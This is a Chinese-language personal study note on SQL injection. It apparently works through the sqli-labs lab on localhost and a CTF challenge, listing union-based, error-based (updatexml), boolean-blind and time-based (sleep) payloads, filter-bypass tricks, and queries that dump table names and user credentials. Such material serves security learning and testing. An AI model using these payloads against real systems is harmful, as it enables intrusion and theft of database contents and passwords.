SQL注入笔记
2019.02.23 复习SQL注入
union select 注入
http://127.0.0.1/sql/Less-1/?id=1%27%20order%20by%203%23 猜列 'order by 3# 引号闭合, order by 猜列数 #注释
-1%27%20union%20select%201,2,3%23 -1 报错 union select 1,2,3 测显示位 #注释
猜表名
http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,group_concat(0x7e,table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23
group_concat 连接显示 information_schema.tables 这张表有所所有库的表名 用where table_schema 进行筛选 database() 为当前数据库名
猜列名
http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,group_concat(0x7e,column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%23
group_concat 连接显示 information_schema.tables 这张表有所所有库的列名 用where table_name进行筛选 users 为筛选对象 查该表 里的列名
读取数据
http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x7e,password),3%20from%20users%23
报错注入
http://127.0.0.1/sql/Less-1/?id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))%23
--secure-file-priv 解决
show global variables like '%secure_file_priv%';
查看安全状态 为NULL 为不可写
配置可写,配置my.ini MYSQL配置文件
盲注
无空格,无, substr = 可以用regexp 代替 , 可以用 jion 代替
mysql盲注:盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注
盲注分为三大类:
布尔型盲注
时间型盲注
报错型盲注
有三个函数在整个过程中一直被使用
1.mid()函数
mid(string,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。
2.substr()函数
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定在字符串的何处开始。
length(可选)规定被返回字符串的长度。
PS:mysql中的start是从1开始的,而php中的start是从0开始的。
3.left()函数
left(string,length)
string(必需)规定要返回其中一部分的字符串
length(可选)规定被返回字符串的前length长度的字符
布尔型盲注:布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
首先利用length()函数判断当前数据库的位数,只有刚好时才会返回正常
在实验吧
http://ctf5.shiyanbar.com/web/earnest/index.php
这题 过滤了空格,*号 #号 -号 substr 等 这里采用mid 进行布尔型盲注
0'or((mid(database())from(1)for(1))='c')or'0
0'or((select(mid()from(1)for(1))))
0'or((select(mid(from(1)for(1)))from(information_schema.tables)where(table_schema=database())='f')
or 需要双写 and 可以用&& 代替
flag="0' oorr (select user() regexp '%s') oorr '0" %(b)
flag=flag.replace(' ',chr(0x0a))
做这题最简单的写法
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
insert 注入
利用insert 进行二次注入
1',(select table_name from information_schema.tables where table_schema=database() limit 1,1), 99)-- a

如果可以回显示
使用报错注入
1'and updatexml(1,concat(1,user(),1),1) and '

insert 下 盲注
如果库名的字符个数大于1 那么就延迟3秒
1'and if(length(database())>1,sleep(3),1) and '
1'and if(ascii(substr(database(),2,1))=115,sleep(3),1) and '
盲注猜字符

update 下的盲注

当然 update 也试用 报错注入 在update下 注入 不能查询当前表?//还没解决 sqlmap 跑一遍 看看过程?
'and sleep((ascii(mid(database() from 1 for 1))>1)*3) and '

无 , 延迟
还有select case when () then sleep(3) else 1 end

浙公网安备 33010602011771号